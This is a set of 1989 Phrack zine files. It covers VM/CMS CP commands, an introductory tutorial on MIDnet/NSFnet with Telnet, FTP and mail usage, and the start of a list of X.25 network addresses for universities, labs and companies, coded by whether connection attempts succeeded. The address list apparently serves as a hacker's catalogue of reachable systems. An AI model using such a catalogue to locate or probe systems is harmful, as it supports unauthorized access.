SPOOL or SP : Use the SPOOL command to modify the spooling control options in effect for a given virtual spooling device or for a group of devices. The SPOOL command can also start or stop the spooling of virtual console input and output. You can direct a file to a remote location by using the SPOOL command in conjunction with the TAG command.
Privilege Class: G
Function Type: G

SPTAPE : Use this command to dump spool files to tape or to load spool files from tape.
Privilege Class: D
Function Type: S

START : The START command restarts a spooling device after it has been drained

~~~~~ or changes the output class that it may service.
Privilege Class: D
Function Type: S

STCP : To alter the contents of real storage but not real PSW or real
~~~~ registers, use the STCP command.
Privilege Class: C
Function Type: P

STORE or ST : The STORE command is used to alter the contents of specified
~~~~~~~~~~~ registers and locations of the virtual machine. As well as saving virtual machine data in low storage, the contents of the following can be altered:

- Virtual storage locations
- General registers
- Floating-point registers
- Control registers
- Program Status Word (PSW)

Privilege Class: G
Function Type: G

SYSTEM or SYS : SYSTEM is used to simulate the action of the RESET and RESTART
~~~~~~~~~~~~~ buttons on the real computer console, and to clear storage. The variables are as follows:

- CLEAR : clears virtual storage and virtual storage keys to binary zeros.
- RESET : clears all pending interrupts and conditions in the virtual machine.
- RESTART : simulates the hardware system RESTART function by storing the current PSW at virtual location eight and loading, as the new PSW, the doubleword from virtual location zero.

Privilege Class: G
Function Type: G

TAG or TA : The TAG has many different variables that can be tagged, which are
~~~~~~~~~ too many to list here because of different settings for each one, but it is used to associate file descriptive information with a spool file.
Privilege Class: G
Function Type: G

TERMINAL or TERM : The TERMINAL command is used to control the following
~~~~~~~~~~~~~~~~ functions associated with your virtual console:

- Logical line-editing symbols
- Masking of password
- The APL character set
- The Text character set
- Signaling of an attention interrupt
- Attention handling mode for your virtual console
- Line length for output on your virtual console
- Specifying terminal device type as 3101 or TTY
- Location of cursor preceding terminal read
- Scrolling rate for 3101 terminal

Privilege Class: G
Function Type: G

TRACE or TR : Use the TRACE command to trace specified virtual machine
~~~~~~~~~~~ activity and to record the results at the terminal, on a virtual spooled printer, or on both terminal and printer. If you issue more than one TRACE command, the operands are cumulative; that is, operands specified for the first time are activated, whereas those specified with new modifiers are updated. The RUN and NORUN operands, however, can be specified in different tracing functions and do not cause a conflict.

You cannot issue the TRACE command while preferred machine assist is operating, whether or not you have enabled the preferred machine assist feature’s control switch assist.
Privilege Class: G
Function Type: G
~~~~~~~~~~~

TRANSFER or TRAN : This command is used to transfer your closed spool files to
~~~~~~~~~~~~~~~~   a specified user or queue, or to reclaim closed spool files
that you created.
Privilege Class: D, G
Function Type: S, G

UNLOCK : Use the UNLOCK command to unlock page frames previously locked by a
~~~~~~   LOCK command.
Privilege Class: A
Function Type: O

VARY : The VARY command marks a device available or unavailable for use by a
~~~~   user or the control program.
Privilege Class: B
Function Type: R

VMDUMP or VMD : The VMDUMP command dumps virtual storage that VM/SP HPO
~~~~~~~~~~~~~   creates for the virtual machine user. VMDUMP dumps the
following:

- Virtual Program Status Word (PSW)
- General registers
- Floating-point registers
- Control registers
- Storage protection keys
- Virtual machine type identification
- Timer values

Privilege Class: G
Function Type: G

WARNING : Use the WARNING command to transmit high-priority messages to a
~~~~~~~   specified user or to all users.
Privilege Class: A, B
Function Type: O

~ ~

This article is far from totally complete as far as in-depthness goes. As I have stated in numerous portions of this file, the VM/CMS system has a very good HELP file system, and from CMS, the command HELP CP <command> will, in most cases, allow you to read a relatively clear text file containing the details and usage specifications of these commands. I hope that, should you be moving around a VM/CMS system, this file will assist you in the CP mode.

For those that wish to contact me for commentary on this file topic or other topic conversation, you can send e-mail to my network addresses:

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==Phrack Inc.==

Volume Three, Issue 27, File 3 of 12

Introduction to MIDNET

Chapter Seven Of The Future Transcendent Saga

A More Indepth Look Into NSFnet
National Science Foundation Network

Presented by Knight Lightning

June 16, 1989

Prologue

If you are not already familiar with NSFnet, I would suggest that you read:

"Frontiers" (Phrack Inc., Volume Two, Issue 24, File 4 of 13), and definitely;
"NSFnet: National Science Foundation Network" (Phrack Inc., Volume Three, Issue 26, File 4 of 11).

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Introduction

MIDNET is a regional computer network that is part of the NSFnet, the National Science Foundation Network. Currently, eleven mid-United States universities are connected to each other and to the NSFnet via MIDnet:

UA - University of Arkansas at Fayetteville
ISU - Iowa State University at Ames
UI - University of Iowa at Iowa City
KSU - Kansas State University at Manhattan
KU - University of Kansas at Lawrence
UMC - University of Missouri at Columbia
WU - Washington University at St. Louis, Missouri
UNL - University of Nebraska at Lincoln
OSU - Oklahoma State University at Stillwater
UT - University of Tulsa (Oklahoma)
OU - University of Oklahoma at Norman

Researchers at any of these universities that have funded grants can access the six supercomputer centers funded by the NSF:

John Von Neuman Supercomputer Center
National Center for Atmospheric Research
Cornell National Supercomputer Facility
National Center for Supercomputing Applications
Pittsburgh Supercomputing Center
San Diego Supercomputing Center

In addition, researchers and scientists can communicate with each other over a vast world-wide computer network that includes the NSFnet, ARPAnet, CSnet, BITnet, and others that you have read about in The Future Transcendent Saga. Please refer to "Frontiers" (Phrack Inc., Volume Two, Issue 24, File 4 of 13)

for more details.

MIDnet is just one of several regional computer networks that comprise the NSFnet system. Although all of these regional computer networks work the same, MIDnet is the only one that I have direct access to and so this file is written from a MIDnet point of view. For people who have access to the other regional networks of NSFnet, the only real differences depicted in this file that would not apply to the other regional networks are the universities that are served by MIDnet as opposed to:

NYSERnet in New York State
SURAnet in the southeastern United States
SEQSUInet in Texas
BARRnet in the San Francisco area
MERIT in Michigan

(There are others that are currently being constructed.)

These regional networks all hook into the NSFnet backbone, which is a network that connects the six supercomputer centers. For example, a person at Kansas State University can connect with a supercomputer via MIDnet and the NSFnet backbone. That researcher can also send mail to colleagues at the University of Delaware by using MIDnet, NSFnet and SURAnet. Each university has its own local computer network which connects on-campus computers as well as providing a means to connecting to a regional network.

Some universities are already connected to older networks such as CSnet, the ARPAnet and BITnet. In principal, any campus connected to any of these networks can access anyone else in any other network since there are gateways between the networks.

Gateways are specialized computers that forward network traffic, thereby connecting networks. In practice, these wide-area networks use different networking technology which make it impossible to provide full functionality across the gateways. However, mail is almost universally supported across all gateways, so that a person at a BITnet site can send mail messages to a colleague at an ARPAnet site (or anywhere else for that matter). You should already be somewhat familiar with this, but if not refer to;

"Limbo To Infinity" (Phrack Inc., Volume Two, Issue 24, File 3 of 13) and
"Internet Domains" (Phrack Inc., Volume Three, Issue 26, File 8 of 11)

Computer networks rely on hardware and software that allow computers to communicate. The language that enables network communication is called a protocol. There are many different protocols in use today. MIDnet uses the TCP/IP protocols, also known as the DOD (Department of Defense) Protocol Suite.

Other networks that use TCP/IP include ARPAnet, CSnet and the NSFnet. In fact, all the regional networks that are linked to the NSFnet backbone are required to use TCP/IP. At the local campus level, TCP/IP is often used, although other protocols such as IBM's SNA and DEC's DECnet are common. In order to communicate with a computer via MIDnet and the NSFnet, a computer at a campus must use TCP/IP directly or use a gateway that will translate its protocols into TCP/IP.

The Internet is a world-wide computer network that is the conglomeration of most of the large wide area networks, including ARPAnet, CSnet, NSFnet, and the regionals, such as MIDnet. To a lesser degree, other networks such as BITnet that can send mail to hosts on these networks are included as part of the Internet. This huge network of networks, the Internet, as you have by now read all about in the pages of Phrack Inc., is a rapidly growing and very complex entity that allows sophisticated communication between scientists, students, government officials and others. Being a part of this community is both exciting and challenging.

This chapter of the Future Transcendent Saga gives a general description of the protocols and software used in MIDnet and the NSFNet. A discussion of several of the more commonly used networking tools is also included to enable you to make practical use of the network as soon as possible.

The DOD Protocol Suite

The DOD Protocol Suite includes many different protocols. Each protocol is a specification of how communication is to occur between computers. Computer hardware and software vendors use the protocol to create programs and sometimes specialized hardware in order to implement the network function intended by the protocol. Different implementations of the same protocol exist for the varied hardware and operating systems found in a network.

The three most commonly used network functions are:

```
Mail          -- Sending and receiving messages
File Transfer -- Sending and receiving files
Remote Login  -- Logging into a distant computer
```

Of these, mail is probably the most commonly used.

In the TCP/IP world, there are three different protocols that realize these functions:

```
SMTP   -- (Simple Mail Transfer Protocol) Mail
FTP    -- (File Transfer Protocol) sending and receiving files
Telnet -- Remote login
```

How to use these protocols is discussed in the next section. At first glance, it is not obvious why these three functions are the most common. After all, mail and file transfer seem to be the same thing. However, mail messages are not identical to files, since they are usually comprised of only ASCII characters and are sequential in structure. Files may contain binary data and have complicated, non-sequential structures. Also, mail messages can usually tolerate some errors in transmission whereas files should not contain any errors. Finally, file transfers usually occur in a secure setting (i.e. The users who are transferring files know each other's names and passwords and are permitted to transfer the file, whereas mail can be sent to anybody as long as their name is known).

While mail and transfer accomplish the transfer of raw information from one computer to another, Telnet allows a distant user to process that information, either by logging in to a remote computer or by linking to another terminal. Telnet is most often used to remotely log in to a distant computer, but it is actually a general-purpose communications protocol. I have found it incredibly useful over the last year. In some ways, it could be used for a great deal of access because you can directly connect to another computer anywhere that has TCP/IP capabilities, however please note that Telnet is *NOT* Telenet.

There are other functions that some networks provide, including the following:

- Name to address translation for networks, computers and people
- The current time
- Quote of the day or fortune
- Printing on a remote printer, or use of any other remote peripheral
- Submission of batch jobs for non-interactive execution
- Dialogues and conferencing between multiple users
- Remote procedure call (i.e. Distributing program execution over several remote computers)
- Transmission of voice or video information

Some of these functions are still in the experimental stages and require faster computer networks than currently exist. In the future, new functions will undoubtedly be invented and existing ones improved.

The DOD Protocol Suite is a layered network architecture, which means that network functions are performed by different programs that work independently and in harmony with each other. Not only are there different programs but there are different protocols. The protocols SMTP, FTP and Telnet are described above. Protocols have been defined for getting the current time, the quote of the day, and for translating names. These protocols are called applications protocols because users directly interact with the programs that implement these protocols.

The Transmission Control Protocol, TCP, is used by many of the application protocols. Users almost never interact with TCP directly. TCP establishes a reliable end-to-end connection between two processes on remote computers. Data is sent through a network in small chunks called packets to improve reliability and performance. TCP ensures that packets arrive in order and without errors. If a packet does have errors, TCP requests that the packet be retransmitted.

In turn, TCP calls upon IP, Internet Protocol, to move the data from one network to another. IP is still not the lowest layer of the architecture, since there is usually a "data link layer protocol" below it. This can be any of a number of different protocols, two very common ones being X.25 and Ethernet.

FTP, Telnet and SMTP are called "application protocols", since they are directly used by applications programs that enable users to make use of the network. Network applications are the actual programs that implement these protocols and provide an interface between the user and the computer. An implementation of a network protocol is a program or package of programs that provides the desired network function such as file transfer. Since computers differ from vendor to vendor (e.g. IBM, DEC, CDC), each computer must have its own implementation of these protocols. However, the protocols are standardized so that computers can interoperate over the network (i.e. Can understand and process each other's data). For example, a TCP packet generated by an IBM computer can be read and processed by a DEC computer.

In many instances, network applications programs use the name of the protocol. For example, the program that transfers files may be called "FTP" and the program that allows remote logins may be called "Telnet." Sometimes these protocols are incorporated into larger packages, as is common with SMTP. Many computers have mail programs that allow users on the same computer to send mail to each other. SMTP functions are often added to these mail programs so that users can also send and receive mail through a network. In such cases, there is no separate program called SMTP that the user can access, since the mail program provides the user interface to this network function.

Specific implementation of network protocols, such as FTP, are tailored to the computer hardware and operating system on which they are used. Therefore, the exact user interface varies from one implementation to another. For example, the FTP protocol specifies a set of FTP commands which each FTP implementation must understand and process. However, these are usually placed at a low level, often invisible to the user, who is given a higher set of commands to use.

These higher-level commands are not standardized so they may vary from one implementation of FTP to another. For some operating systems, not all of these commands make equal sense, such as "Change Directory," or may have different meanings. Therefore the specific user interface that the user sees will probably differ.

This file describes a generic implementation of the standard TCP/IP application protocols. Users must consult local documentation for specifics at their sites.

Names and Addresses In A Network

In DOD Protocol Suite, each network is given a unique identifying number. This number is assigned by a central authority, namely the Network Information Center run by SRI, abbreviated as SRI-NIC, in order to prevent more than one network from having the same network number. For example, the ARPAnet has network number 10 while MIDnet has a longer number, namely 128.242.

Each host in a network has a unique identification so other hosts can specify them unambiguously. Host numbers are usually assigned by the organization that manages the network, rather than one central authority. Host numbers do not need to be unique throughout the whole Internet but two hosts on the same network need to have unique host numbers.

The combination of the network number and the host number is called the IP address of the host and is specified as a 32-bit binary number. All IP

addresses in the Internet are expressible as 32-bit numbers, although they are often written in dotted decimal notation. Dotted decimal notation breaks the 32-bit number into four eight-bit parts or octets and each octet is specified as a decimal number. For example, 00000001 is the binary octet that specifies the decimal number 1, while 11000000 specifies 192. Dotted decimal notation makes IP addresses much easier to read and remember.

Computers in the Internet are also identified by hostnames, which are strings of characters, such as "phrackvax." However, IP packets must specify the 32-bit IP address instead of the hostname so some way to translating hostnames to IP addresses must exist.

One way is to have a table of hostnames and their corresponding IP addresses, called a hosttable. Nearly every TCP/IP implementation has such a hosttable, although the weaknesses of this method are forcing a shift to a new scheme called the domain name system. In UNIX systems, the hosttable is often called "/etc/hosts." You can usually read this file and find out what the IP addresses of various hosts are. Other systems may call this file by a different name and make it unavailable for public viewing.

Users of computers are generally given accounts to which all charges for computer use are billed. Even if computer time is free at an installation, accounts are used to distinguish between the users and enforce file protections. The generic term "username" will be used in this file to refer to the name by which the computer account is accessed.

In the early days of the ARPAnet which was the first network to use the TCP/IP protocols, computer users were identified by their username, followed by a commercial "at" sign (@), followed by the hostname on which the account existed. Networks were not given names, per se, although the IP address specified a network number.

For example, "knight@phrackvax" referred to user "knight" on host "phrackvax." This did not specify which network "phrackvax" was on, although that information could be obtained by examining the hosttable and the IP address for "phrackvax." (However, "phrackvax" is a ficticious hostname used for this presentation.)

As time went on, every computer on the network had to have an entry in its hosttable for every other computer on the network. When several networks linked together to form the Internet, the problem of maintaining this central hosttable got out of hand. Therefore, the domain name scheme was introduced to split up the hosttable and make it smaller and easier to maintain.

In the new domain name scheme, users are still identified by their usernames, but hosts are now identified by their hostname and any and all domains of which they are a part. For example, the following address, "KNIGHT@UMCVMB.MISSOURI.EDU" specifies username "KNIGHT" on host "UMCVMB". However, host "UMCVMB" is a part of the domain "MISSOURI" " which is in turn part of the domain "EDU". There are other domains in "EDU", although only one is named "MISSOURI". In the domain "MISSOURI", there is only one host named "UMCVMB".

However, other domains in "EDU" could theoretically have hosts named "UMCVMB" (although I would say that this is rather unlikely in this example). Thus the combination of hostname and all its domains makes it unique. The method of translating such names into IP addresses is no longer as straightforward as looking up the hostname in a table. Several protocols and specialized network software called nameservers and resolvers implement the domain name scheme.

Not all TCP/IP implementations support domain names because it is rather new. In those cases, the local hosttable provides the only way to translate hostnames to IP addresses. The system manager of that computer will have to put an entry into the hosttable for every host that users may want to connect to. In some cases, users may consult the nameserver themselves to find out the IP address for a given hostname and then use that IP address directly instead of a hostname.

I have selected a few network hosts to demonstrate how a host system can be specified by both the hostname and host numerical address. Some of the nodes I

have selected are also nodes on BITnet, perhaps even some of the others that I do not make a note of due a lack of omniscent awareness about each and every single host system in the world :-)

- -

Numerical	Hostname	Location	BITnet
18.72.0.39	ATHENA.MIT.EDU	(Mass. Institute of Technology)	?
26.0.0.73	SRI-NIC.ARPA	(DDN Network Information Center)	-
36.21.0.13	MACBETH.STANFORD.EDU	(Stanford University)	?
36.21.0.60	PORTIA.STANFORD.EDU	(Stanford University)	?
128.2.11.131	ANDREW.CMU.EDU	(Carnegie Mellon University)	ANDREW
128.3.254.13	LBL.GOV	(Lawrence Berkeley Labrotories)	LBL
128.6.4.7	RUTGERS.RUTGERS.EDU	(Rutgers University)	?
128.59.99.1	CUCARD.MED.COLUMBIA.EDU	(Columbia University)	?
128.102.18.3	AMES.ARC.NASA.GOV	(Ames Research Center [NASA])	-
128.103.1.1	HARVARD.EDU	(Harvard University)	HARVARD
128.111.24.40	HUB.UCSB.EDU	(Univ. Of Calif-Santa Barbara)	?
128.115.14.1	LLL-WINKEN.LLNL.GOV	(Lawrence Livermore Labratories)	-
128.143.2.7	UVAARPA.VIRGINIA.EDU	(University of Virginia)	?
128.148.128.40	BROWNVM.BROWN.EDU	(Brown University)	BROWN
128.163.1.5	UKCC.UKY.EDU	(University of Kentucky)	UKCC
128.183.10.4	NSSDCA.GSFC.NASA.GOV	(Goddard Space Flight Center [NASA])	-
128.186.4.18	RAI.CC.FSU.EDU	(Florida State University)	FSU
128.206.1.1	UMCVMB.MISSOURI.EDU	(Univ. of Missouri-Columbia)	UMCVMB
128.208.1.15	MAX.ACS.WASHINGTON.EDU	(University of Washington)	MAX
128.228.1.2	CUNYVM.CUNY.EDU	(City University of New York)	CUNYVM
129.10.1.6	NUHUB.ACS.NORTHEASTERN.EDU	(Northeastern University)	NUHUB
131.151.1.4	UMRVMA.UMR.EDU	(University of Missouri-Rolla)	UMRVMA
192.9.9.1	SUN.COM	(Sun Microsystems, Inc.)	-
192.33.18.30	VM1.NODAK.EDU	(North Dakota State Univ.)	NDSUVM1
192.33.18.50	PLAINS.NODAK.EDU	(North Dakota State Univ.)	NDSUVAX

Please Note: Not every system on BITnet has an IP address. Likewise, not every system that has an IP address is on BITnet. Also, while some locations like Stanford University may have nodes on BITnet and have hosts on the IP as well, this does not neccessarily imply that the systems on BITnet and on IP (the EDU domain in this case) are the same systems.

Attempts to gain unauthorized access to systems on the Internet are not tolerated and is legally a federal offense. At some hosts, they take this very seriously, especially the government hosts such as NASA's Goddard Space Flight Center, where they do not mind telling you so at the main prompt when you connect to their system.

However, some nodes are public access to an extent. The DDN Network Information Center can be used by anyone. The server and database there have proven to be an invaluable source of information when locating people, systems, and other information that is related to the Internet.

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Telnet

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Remote login refers to logging in to a remote computer from a terminal connected to a local computer. Telnet is the standard protocol in the DOD Protocol Suite for accomplishing this. The "rlogin" program, provided with Berkeley UNIX systems and some other systems, also enables remote login.

For purposes of discussion, the "local computer" is the computer to which your terminal is directly connected while the "remote computer" is the computer on the network to which you are communicating and to which your terminal is *NOT* directly connected.

Since some computers use a different method of attaching terminals to computers, a better definition would be the following: The "local computer" is the computer that you are currently using and the "remote computer" is the computer on the network with which you are or will be communicating. Note that
~~~~~~

the terms "host" and "computer" are synonymous in the following discussion.

To use Telnet, simply enter the command: TELNET

The prompt that Telnet gives is: Telnet>

(However, you can specify where you want to Telnet to immediately and bypass the the prompts and other delays by issuing the command: TELNET [location].)

There is help available by typing in ?. This prints a list of all the valid subcommands that Telnet provides with a one-line explanation.

Telnet> ?

To connect to to another computer, use the open subcommand to open a connection to that computer. For example, to connect to the host "UMCVMB.MISSOURI.EDU", do "open umcvmb.missouri.edu"

Telnet will resolve (i.e. Translate, the hostname "umcvmb.missouri.edu" into an IP address and will send a packet to that host requesting login. If the remote host decides to let you attempt a login, it prompts you for your username and password. If the host does not respond, Telnet will "time out" (i.e. Wait for a reasonable amount of time such as 20 seconds) and then terminate with a message such as "Host not responding."

If your computer does not have an entry for a remote host in its hosttable and it cannot resolve the name, you can use the IP address explicitly in the telnet command. For example,

TELNET 26.0.0.73 (Note: This is the IP address for the DDN Network Information Center [SRI-NIC.ARPA])

If you are successful in logging in, your terminal is connected to the remote host. For all intents and purposes, your terminal is directly hard-wired to that host and you should be able to do anything on your remote terminal that you can do at any local terminal. There are a few exceptions to this rule, however.

Telnet provides a network escape character, such as CONTROL-T. You can find out what the escape character is by entering the "status" subcommand:

Telnet> status

You can change the escape character by entering the "escape" subcommand:

Telnet> escape

When you type in the escape character, the Telnet prompt returns to your screen and you can enter subcommands. For example, to break the connection, which usually logs you off the remote host, enter the subcommand "quit":

Telnet> quit

Your Telnet connection usually breaks when you log off the remote host, so the "quit" subcommand is not usually used to log off.

When you are logged in to a remote computer via Telnet, remember that there is a time delay between your local computer and the remote one. This often becomes apparent to users when scrolling a long file across the terminal screen nd they wish to cancel the scrolling by typing CONTROL-C or something similar. After typing the special control character, the scrolling continues. The special control character takes a certain amount of time to reach the remote computer which is still scrolling information. Thus response from the remote computer will not likely be as quick as response from a local computer.

Once you are remotely logged on, the computer you are logged on to effectively becomes your "local computer," even though your original "local computer" still considers you logged on. You can log on to a third computer which would then become your "local computer" and so on. As you log out of each session, your previous session becomes active again.

File Transfer
~~~~~~~~~~~~~

FTP is the program that allows files to be sent from one computer to another. "FTP" stands for "File Transfer Protocol".

When you start using FTP, a communications channel with another computer on the network is opened. For example, to start using FTP and initiate a file transfer session with a computer on the network called "UMCVMB", you would issue the following subcommand:

FTP UMCVMB.MISSOURI.EDU

Host "UMCVMB" will prompt you for an account name and password. If your login is correct, FTP will tell you so, otherwise it will say "login incorrect." Try again or abort the FTP program. (This is usually done by typing a special control character such as CONTROL-C. The "program abort" character varies from system to system.)

Next you will see the FTP prompt, which is:

Ftp>

There are a number of subcommands of FTP. The subcommand "?" will list these commands and a brief description of each one.

You can initiate a file transfer in either direction with FTP, either from the remote host or to the remote host. The "get" subcommand initiates a file transfer from the remote host (i.e. Tells the remote computer to send the file to the local computer [the one on which you issued the "ftp" command]). Simply enter "get" and FTP will prompt you for the remote host's file name and the (new) local host's file name. Example:

```
Ftp> get
Remote file name?
theirfile
local file name?
myfile
```

ou can abbreviate this by typing both file names on the same line as the "get" subcommand. If you do not specify a local file name, the new local file will be called the same thing as the remote file. Valid FTP subcommands to get a file include the following:

```
get theirfile myfile
get doc.x25
```

The "put" subcommand works in a similar fashion and is used to send a file from the local computer to the remote computer. Enter the command "put" and FTP will prompt you for the local file name and then the remote file name. If the transfer cannot be done because the file doesn't exist or for some other reason, FTP will print an error message.

There are a number of other subcommands in FTP that allow you to do many more things. Not all of these are standard so consult your local documentation or type a question mark at the FTP prompt. Some functions often built into FTP include the ability to look at files before getting or putting them, the ability to change directories, the ability to delete files on the remote computer, and the ability to list the directory on the remote host.

An intriguing capability of many FTP implementations is "third party transfers." For example, if you are logged on computer A and you want to cause computer B to send a file to computer C, you can use FTP to connect to computer B and use the "rmtsend" command. Of course, you have to know usernames and passwords on all three computers, since FTP never allows you to peek into someone's directory and files unless you know their username and password.

The "cd" subcommand changes your working directory on the remote host. The
~~~~~~~~~~~~~

"lcd" subcommand changes the directory on the local host. For UNIX systems, the meaning of these subcommands is obvious. Other systems, especially those that do not have directory-structured file system, may not implement these commands or may implement them in a different manner.

The "dir" and "ls" subcommands do the same thing, namely list the files in the working directory of of the remote host.

The "list" subcommand shows the contents of a file without actually putting it into a file on the local computer. This would be helpful if you just wanted to inspect a file. You could interrupt it before it reached the end of the file by typing CONTROL-C or some other special character. This is dependent on your FTP implementation.

The "delete" command can delete files on the remote host. You can also make and remove directories on the remote host with "mkdir" and "rmdir". The "status" subcommand will tell you if you are connected and with whom and what the state of all your options are.

If you are transferring binary files or files with any non-printable characters, turn binary mode on by entering the "binary" subcommand:

binary

To resume non-binary transfers, enter the "ascii" subcommand.

Transferring a number of files can be done easily by using "mput" (multiple put) and "mget" (multiple get). For example, to get every file in a particular directory, first issue a "cd" command to change to that directory and then an "mget" command with an asterisk to indicate every file:

```
cd somedirectory
mget *
```

When you are done, use the "close" subcommand to break the communications link. You will still be in FTP, so you must use the "bye" subcommand to exit FTP and return to the command level. The "quit" subcommand will close the connection and exit from FTP at the same time.

Mail

Mail is the simplest network facility to use in many ways. All you have to do is to create your message, which can be done with a file editor or on the spur of the moment, and then send it. Unlike FTP and Telnet, you do not need to know the password of the username on the remote computer. This is so because you cannot change or access the files of the remote user nor can you use their account to run programs. All you can do is to send a message.

There is probably a program on your local computer which does mail between users on that computer. Such a program is called a mailer. This may or may not be the way to send or receive mail from other computers on the network, although integrated mailers are more and more common. UNIX mailers will be used as an example in this discussion.

Note that the protocol which is used to send and receive mail over a TCP/IP network is called SMTP, the "Simple Mail Transfer Protocol." Typically, you will not use any program called SMTP, but rather your local mail program.

UNIX mailers are usually used by invoking a program named "mail". To receive new mail, simply type "mail".

There are several varieties of UNIX mailers in existence. Consult your local documentation for details. For example, the command "man mail" prints out the manual pages for the mail program on your computer.

To send mail, you usually specify the address of the recipient on the mail command. For example: "mail knight@umcvmb.missouri.edu" will send the following message to username "knight" on host "umcvmb".

You can usually type in your message one line at a time, pressing RETURN after each line and typing CONTROL-D to end the message. Other facilities to include already-existing files sometimes exist. For example, Berkeley UNIXes allow you to enter commands similar to the following to include a file in your current mail message:

```
r myfile
```

In this example, the contents of "myfile" are inserted into the message at this point.

Most UNIX systems allow you to send a file through the mail by using input redirection. For example:

```
mail knight@umcvmb.missouri.edu < myfile
```

In this example, the contents of "myfile" are sent as a message to "knight" on "umcvmb."

Note that in many UNIX systems the only distinction between mail bound for another user on the same computer and another user on a remote computer is simply the address specified. That is, there is no hostname for local recipients. Otherwise, mail functions in exactly the same way. This is common for integrated mail packages. The system knows whether to send the mail locally or through the network based on the address and the user is shielded from any other details.

"The Quest For Knowledge Is Without End..."

==Phrack Inc.==

Volume Three, Issue 27, File 4 of 12

NUA-List For Datex-P And X.25 Networks

by Oberdaemon

April 9, 1989

Key:

A = successfully connected
B = sources say that it works
C = officially closed
D = disconnected/no circuit or permanently busy
I = illegal address or invalid call
O = out of order
r = R-NUA
T = time-out
X = sources say that it should work but it doesn't (or is permanently busy)
Y = barred (=?)
Z = sources say that it should not work
= including the following digits gives you another number
n/a = not yet tested
? = error on a subsequent communication system

Remark: I have also included some obviously misstyped NUAs which have been found in widely circulating lists. There are also numbers which do not form a valid NUA but a common prefix (e.g. 0202 2 Helpak).

Format: Each NUA in this list consists of the following fields:

cccc naa aaa aaa... oooo... ddd....

cccc is the country prefix (e.g. 0262 Germany). This prefix can be omitted when calling and called party have both the same prefix.
naa are the first three digits of the address. n often specifies a certain network in that country.
aaa aaa... are the other digits of the address.
oooo... are some extra digits/letters which should be added after the NUA. The correct syntax depends on your PAD. This list uses any syntax - usually depending on the notation the author of the source used. The oooo... field is usually empty.
ddd... is a short description of the service.

If you find two NUAs who differ only in the number of trailing zeroes, but connect to the same service, you may safely throw away the longer one.

!! Please note that most PADs don't accept spaces inside a NUA !!

```
  0200                  GR          Greece
  0202
  0202 2                            Helpak (enkelriktad trafik)
X 0202 452 241 24104
  0204                  NL          Netherlands
  0204 0                            Datanet (1?)
  0204 1                            Datanet (1?)
A 0204 129 001 3                    ? (Netz ?)
A 0204 129 001 4                    X.25
A 0204 129 003 1                    NONOBY
```

```
A 0204 129 003 4                    Searchline
D 0204 129 004 33       SARA        National Institute for High Energy Physics
                                    (NIKHEF) SARA network
D 0204 129 004 34       NIKHEF      National Institute for High Energy Physics
                                    (NIKHEF) SARA network
D 0204 129 005 6        MCVAX       MCVAX, HOLLAND
A 0204 129 005 675      HARING      MCVAX Line 2
   0204 129 400 2                    DUPHAR WEESP,HOLLAND
A 0204 134 014 80500                Utrecht ?
  0204 303 0                        EPOIS EPO Den Haag
  0204 304 0                        DSAMISOOM SAMSON
  0204 4                            Dabas
  0206                  B           Belgium
  0206 2                            DCS
A 0206 210 300 003                  Eigebib
A 0206 222 100 6        BBDA        Brussels DEC A
A 0206 222 101 2        ?           Ministry of economic affairs
A 0206 222 102 6                    celex
A 0206 224 001 903      PRLB2       Belgium Unix Backbone
  0206 3                            Euronet
A 0206 228 821 0                    DGxiiiF
  0208                  F           France
  0208 0                TRANSPAC    French Transpac
A 0208 006 040 010                  Telesystemes 1
A 0208 006 040 201                  Telesystemes 2
A 0208 026 020 843                  ?
A 0208 034 020 036      CNUSC       CNUSC (France)
A 0208 034 020 258      CNUSC       CNUSC Montpelier
A 0208 038 020 100                  CICG Grenoble
A 0208 038 020 676                  ILL VEGA VAX 8700 VMS 4.7
I 0208 044 001 645                  ?
A 0208 057 040 540                  QSD (Chat system)
I 0208 069 021 258
A 0208 075 000 087      IRCAM       IRCAM-ERIK VAX 11/780 4.2 BSD
I 0208 075 000 355                  ?
I 0208 075 001 281*D    CCPN        Computing Centre Nuclear Physics
I 0208 075 002 314                  GRF
A 0208 075 020 655      LITP        LITP Unix 4.3 BSD (France)
A 0208 075 041 280                  Pasteur MV8000
A 0208 078 020 118      INRIA       INRIA, Rocquencourt (France) Multics
B 0208 078 020 16901    INRIA       Institute National de Recherche en
                                    Informatique
  0208 078 081 67304    INRIAUU     INRIA - UUCICO
I 0208 091 000 270*DCISICISI3       IBM - TSO
I 0208 091 000 309*DCISICISI1       IBM - TSO
I 0208 091 000 519*DCISICISI2       IBM - TSO
I 0208 091 010 320      CJRCE
I 0208 091 040 047      SACLAY      Saclay - France
I 0208 091 040 532                  Pascal
A 0208 091 190 258                  LURE, VAX 11/780 VMS 4.6, Synchrotron
                                    source (SES)
  0208 1                            NTI
A 0208 101              TEXTFRA     Text Generator, FRANCE
  0214                  E           Spain
  0214 1                SPAIN       Spanish data network (NID/CTNE)
  0214 5                            Iberpac
O 0214 521 202 5022
A 0214 521 302 1020                 ETSITM (EANNET) VAX 11/750 VMS 4.5
  0222                  I           Italy
  0222 2                            Itapac
A 0222 262 002 1        ESAIRS1     ESA-QUEST, IRS 1
I 0222 262 002 2        ESAIRS2     ESA-IRS 2
O 0222 262 003 2                    IASI VAX
A 0222 262 004 3                    VAXLNF (INFNET) VAX 8650
O 0222 263 200 4                    NUA-Information ?
A 0222 265 014 0                    Techni-Link
I 0222 306 3                        Progetto-Sirio
I 0222 306 700                      European Space Agency
I 0222 306 9*D          CNUCE       CNUCE
I 0222 307 0                        CILEA
```

```
I 0222 307 1                        CED Datenbanksysteme Rom
I 0222 307 2*D          RTC20       JRC
I 0222 307 7*D QUESTD5  ESA         ESA
D 0222 307 8*D QUESTD5  ESA2        ESA
  0228                  CH          Switzerland
D 0228 310 1*DN         DATASTAR    Data-Star, Switzerland
  0228 4                            Telepac
A 0228 462 110 0101                 Cigy IBMA
A 0228 462 110 0102                 Cigy DEC1091
A 0228 462 110 09                   EDP Basel
A 0228 462 110 23                   ?
A 0228 462 110 34                   ?
A 0228 462 110 36                   ?
A 0228 462 110 52                   DANZA'S 11/785 VMS 4.4
A 0228 462 110 61                   PKK node RBPK00
A 0228 462 110 66                   PROGNOS Basel (CIERR 1402)
A 0228 462 110 70                   ?
A 0228 462 110 84                   (CIERR 1402)
Y 0228 462 170 02                   INFOTEX PTT
I 0228 464 109 06                   GD PTT Schweiz (ring with CTRL G)
A 0228 464 110 10       DM          DATAMAIL (RSAG)
A 0228 464 110 110      DSTAR2      Datastar (2nd. Line)
A 0228 464 110 112                  RSAG
Z 0228 464 110 113                  RSAG
